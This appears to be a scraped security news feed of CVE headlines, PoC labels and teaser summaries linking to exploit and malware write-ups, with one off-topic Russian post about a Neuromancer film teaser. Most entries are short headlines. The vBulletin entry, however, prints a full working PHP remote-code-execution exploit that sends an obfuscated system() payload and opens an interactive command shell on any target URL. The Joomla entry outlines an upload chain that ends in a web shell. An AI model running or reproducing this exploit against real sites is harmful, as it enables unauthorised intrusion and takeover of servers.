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MariaDB 13.0.1-rc RCE Lab
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All in ONE

CVE-2026-58025 MediaWiki
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The deserialization flaw could lead to RCE via malicious log imports.
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PoC

CVE-2026-60004 Gitea RCE
(CVSS 9.8)
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PoC

Longinus: Two Security Boundaries in One Bug — Piercing Chrome’s Renderer and the V8 Sandbox with CVE-2026-6307

Original text: “Longinus: 2 Boundaries in One Bug, Piercing Chrome’s Renderer and V8 Sandbox with a Single Vulnerability, CVE-2026-6307” — Nebula Security, NebuSec (June 29, 2026). Code, tables and figures below are reproduced verbatim with attribution captions.

Executive Summary

CVE-2026-6307 is a single V8 vulnerability that crosses two security boundaries at once. The root cause…

https://core-jmp.org/2026/07/cve-2026-6307-v8-framestate-type-confusion/

CVE-2026-66066 in Ruby on Rails
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Storage file-read-to-RCE chain

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PoC

CVE-2026-57827 — Joomla
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Component Unauthenticated File Upload RCE
Split-Controller Upload Bypass → Direct Write Task → /downloads/shell.php → RCE

Exploit

SakDriver: Reversing a Windows Kernel Driver Rootkit

Original text: “SakDriver: Reversing a Kernel Driver Rootkit” — 0xSec, 0xsec.gitbook.io. Disassembly screenshots, the command-ID table, indicators of compromise and the YARA figure below are reproduced with attribution captions.

Executive Summary

What began as a routine look at a “Cobalt Strike Beacon” sample turned out to be something far more dangerous: a full Windows kernel-mode…

https://core-jmp.org/2026/07/sakdriver-reversing-kernel-driver-rootkit/

CVE-2026-61511 vBulletin
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Affected Versions
vBulletin 6.2.1 and prior
vBulletin 6.1.6 and prior
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Exploit

<?php

set_time_limit(0);
error_reporting(E_ERROR);

print "+-------------------------------------+\n";
print "| vBulletin 0-day RCE exploit by EgiX |\n";
print "+-------------------------------------+\n";

if (!extension_loaded("curl")) die("\n[+] cURL extension required!\n");

if ($argc != 2) {
    print "\nUsage......: php $argv[0] <URL>\n";
    print "\nExample....: php $argv[0] http://localhost/vb/";
    print "\nExample....: php $argv[0] https://vbulletin.com/\n\n";
    die();
}

function encodeChar($char)
{
    $numbers = ['0' => '(O)', '1' => '(1)', '2' => '(2)', '3' => '(3)', '4' => '(4)', '5' => '(5)', '6' => '(6)', '7' => '(7)', '8' => '(8)', '9' => '(9)'];

    $char = strval(ord($char));

    $ret = '';
    for ($i = 0; $i < strlen($char); $i++) $ret .= $numbers[$char[$i]] . '.';

    return rtrim($ret, '.');
}

function makePayload($function, $param)
{
    $chr_fun = '((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))';

    $ret = '';
    foreach (str_split($function) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';

    $ret = "(" . rtrim($ret, '.') . ')((';

    foreach (str_split($param) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';

    return rtrim($ret, '.') . '))';
}

$curl   = curl_init();
$params = ["routestring" => "ajax/render/pagenav"];

curl_setopt($curl, CURLOPT_URL, $argv[1]);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
//curl_setopt($curl, CURLOPT_PROXY, "http://127.0.0.1:8080");

while (1) {
    print "\nvb-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $cmd .= "; echo _____";
    $params["pagenav[pagenumber]"] = makePayload("system", $cmd);
    curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params));
    preg_match('/_____(.*)_____/s', curl_exec($curl), $m) ? print $m[1] : die("\n[+] Exploit failed! :(\n\n");
}

Exploiting HTTP Parser Inconsistencies: ACL Bypasses, SSRF, and Cache Poisoning

Original text: “Exploiting HTTP Parsers Inconsistencies” — Rafa, Rafa’s Security Researches (research conducted December 2021 – April 2022). Code blocks, tables and figures below are reproduced verbatim with attribution captions.

Executive Summary

HTTP is the connective tissue of the modern web, but the specification leaves enough ambiguity that no two parsers agree on every edge…

https://core-jmp.org/2026/07/exploiting-http-parser-inconsistencies/

CVE-2026-42533 Nginx
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heap buffer overflow PoC

Извините, но чет порвало 😆

#cinema #royal

NEUROMANCER
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timeline:
Книгу Гибсон написал в 80х
Экранизировать пытались с 90х
Прочитал я ее где то в 2007.
Толпы фанатов, тонны ФанФиков, миллионы всякого арта и тд и пт, в итоге - невероятнейший долгострой.
В принципе можно было бы уже ИИ самим подключить, да и закрыть гештальт.
И тем не менее яблоко вываливает:
NEUROMANCER First Teaser

#cyberpunk

Redis
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RCE PoC for 6.2.22, 7.4.9, 8.6.4, 8.8.0

Dnsmasq DNS Remote Heap Buffer Overflow (CVE-2026-2291)

Original text: “Dnsmasq DNS Remote Heap Buffer Overflow” — David Barksdale, Exodus Intelligence (July 20, 2026). Code snippets, DNS responses, and exploitation details are reproduced verbatim with attribution.

Executive Summary

CVE-2026-2291 is a critical remote code execution vulnerability in dnsmasq, a widely deployed lightweight DNS and DHCP server used in embedded systems, routers, and Linux…

https://core-jmp.org/2026/07/dnsmasq-dns-remote-heap-buffer-overflow-cve-2026-2291/

Escalating All The Privileges With Foxit PDF Reader (CVE-2026-57239)

Original text: “Escalating All The Privileges With Foxit PDF Reader (CVE-2026–57239)” — Luke Paris, Paradoxis (July 15, 2026). Code snippets, technical analysis, and detection/mitigation guidance are reproduced verbatim with attribution.

Executive Summary

CVE-2026-57239 is a local privilege escalation vulnerability discovered in Foxit PDF Reader that allows an unprivileged user to escalate privileges to NT AUTHORITYSYSTEM…

https://core-jmp.org/2026/07/escalating-privileges-foxit-pdf-reader-cve-2026-57239/

KernelCallbackTable Process Injection

Original text: “KernelCallbackTable Process Injection” — S12, Medium (2026). Code blocks and technical implementation details are reproduced verbatim with attribution.

Executive Summary

Windows message handling is everywhere. Every GUI application sits in a message loop waiting for user input and window events. But what happens when an attacker corrupts the callback table that decides which…

https://core-jmp.org/2026/07/kernelcallbacktable-process-injection/

Breaking ONLYOFFICE in 3 steps: OnlyShells vulnerability chain

Original text: “Breaking ONLYOFFICE in 3 steps: OnlyShells vulnerability chain” — BI.ZONE Vulnerability Research team, BI.ZONE (July 21, 2026). Code, CVE metadata, figures and the demonstration video below are reproduced with attribution captions.

Executive Summary

OnlyShells is a chain of five vulnerabilities discovered in ONLYOFFICE Desktop Editors during a fall 2025 security assessment. Chained together,…

https://core-jmp.org/2026/07/onlyoffice-onlyshells-vulnerability-chain/

GDID: The Windows Global Device Identifier

Original text: “GDID: The Windows Global Device Identifier” — Smukx, ZeroTrace Lab (July 18, 2026). Code blocks, commands, tables, and technical specifications reproduced verbatim with attribution.

Executive Summary

Every Windows installation receives a unique 64-bit Global Device Identifier (GDID) that serves as Microsoft’s canonical device-level tracking mechanism. The GDID originates as a plaintext registry value…

https://core-jmp.org/2026/07/gdid-windows-global-device-identifier/

CVE-2026-49176 Exploit Development: WalletService to SYSTEM

Original text: “CVE-2026-49176 Exploit Development: WalletService to SYSTEM” — David Carliez, 17 July 2026. Code blocks, tables, and technical diagrams are reproduced verbatim with attribution.

Executive Summary

CVE-2026-49176 represents a critical local privilege-escalation vulnerability affecting Windows WalletService, a LocalSystem-hosted service that manages wallet operations through the public Windows.ApplicationModel.Wallet WinRT API. The vulnerability emerges from a…

https://core-jmp.org/2026/07/cve-2026-49176-walletservice-to-system/

[QuickNote] SolidPDFCreator – Mustang Panda Stage-1 Backdoor (Target India)

Original text: “[QuickNote] SolidPDFCreator – Mustang Panda Stage-1 Backdoor (Target India)” — AI, 0day in {REA_TEAM} (July 13, 2026). Code blocks, tables, diagrams, and technical artefacts are reproduced verbatim with attribution captions.

Executive Summary

SolidPDFCreator.dll is a sophisticated stage-1 backdoor loader disguised as a legitimate SolidPDF product, attributed to Mustang Panda and targeting India. The…

https://core-jmp.org/2026/07/solidpdfcreator-mustang-panda-stage-1-backdoor-india/